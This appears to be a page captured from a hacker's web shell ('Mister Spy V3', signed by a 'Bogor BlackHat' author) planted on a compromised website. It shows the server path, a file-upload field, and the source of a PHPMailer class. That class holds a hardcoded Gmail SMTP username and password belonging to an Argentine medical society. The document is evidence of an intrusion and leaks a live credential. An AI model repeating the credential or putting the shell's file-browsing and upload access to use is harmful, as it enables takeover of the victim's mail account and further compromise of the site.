Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/library/
Upload File :
Current File : /home/caballoscriollos/public_html/web/library/class.gmail.php

<?php

include_once('mail/class.phpmailer.php');

class GMail
{
	public static function SendEmail($Subject, $Contenido, $arrEmails)
	{
		$mail	= new PHPMailer();
		$mail->IsSMTP(); // telling the class to use SMTP
		$mail->SMTPDebug  = 5;                     // enables SMTP debug information (for testing)
                                           // 1 = errors and messages
                                           // 2 = messages only
		$mail->SMTPAuth   = true;                  // enable SMTP authentication
		$mail->SMTPSecure = "tls";                 // sets the prefix to the servier
		$mail->Host       = "smtp.gmail.com";      // sets GMAIL as the SMTP server
		$mail->Port       = 587;                   // set the SMTP port for the GMAIL server
		$mail->Username   = "sitioweb@reumatologia.org.ar";  // GMAIL usernam0
		$mail->Password   = "Sitio.124578!";            // GMAIL password

        $mail->From = 'sitioweb@reumatologia.org.ar';
        $mail->FromName = utf8_encode('Sociedad Argentina de Reumatologia');
		$mail->AddReplyTo("sitioweb@reumatologia.org.ar", $nombre_empresa);

		$mail->Subject    = $Subject;

		$mail->AltBody    = "To view the message, please use an HTML compatible email viewer!"; // optional, comment out and test
        $mail->IsHTML(true);
		$mail->MsgHTML(utf8_encode($Contenido));

		foreach ($arrEmails as $Email)
		{
			$mail->AddAddress($Email, "");
		}
		
	
		$mail->Send();
	}
}
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat